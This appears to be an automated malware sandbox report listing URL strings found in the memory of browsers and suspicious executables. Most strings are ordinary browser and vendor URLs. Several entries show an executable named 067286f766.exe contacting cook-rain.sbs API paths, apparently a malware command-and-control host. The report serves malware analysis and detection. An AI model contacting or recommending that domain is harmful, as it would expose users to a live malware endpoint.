Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000002A.00000003.3097323108.0000020492561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000002A.00000003.3096680159.0000020492815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 067286f766.exe	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=16964251
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000002A.00000003.3079366050.000002048BDB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3265001499.00003EDC00458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3268114208.00003EDC00654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3299380520.00003EDC009D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 0000002E.00000002.3268386636.00003EDC00690000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3068601533.00003EDC00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3260026406.00003EDC00290000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3240712553.00003EDC000D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3054400068.00003EDC004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3266985373.00003EDC005F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3312038002.00003EDC00C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 0000002E.00000002.3268386636.00003EDC00690000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3299078349.00003EDC009A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000002A.00000003.3160010363.00000204929B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000002A.00000003.3160010363.00000204929B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489AA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 067286f766.exe, 0000001A.00000003.2977038594.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2884338454.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886167629.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885578673.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.3018613254.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3098955255.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3160338973.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3101545011.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3093807676.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3117461298.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3097862493.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3095266254.0000000005BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 067286f766.exe, 0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2947583187.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/I
Source: 067286f766.exe, 0000001A.00000003.2964894248.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3098955255.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3160338973.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3101545011.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3093807676.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3117461298.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3097862493.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3095266254.0000000005BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 067286f766.exe, 0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api6
Source: 067286f766.exe, 0000001A.00000003.3017688297.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.3027893363.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2979594764.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.3018613254.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apis
Source: 067286f766.exe, 0000002B.00000003.3160338973.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiy
Source: 067286f766.exe, 0000002B.00000003.3160338973.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3117461298.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/pi
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000002A.00000003.3160010363.0000020492961000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3311818035.00003EDC00C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3068601533.00003EDC00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3312038002.00003EDC00C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002A.00000003.3107154254.000002048C867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
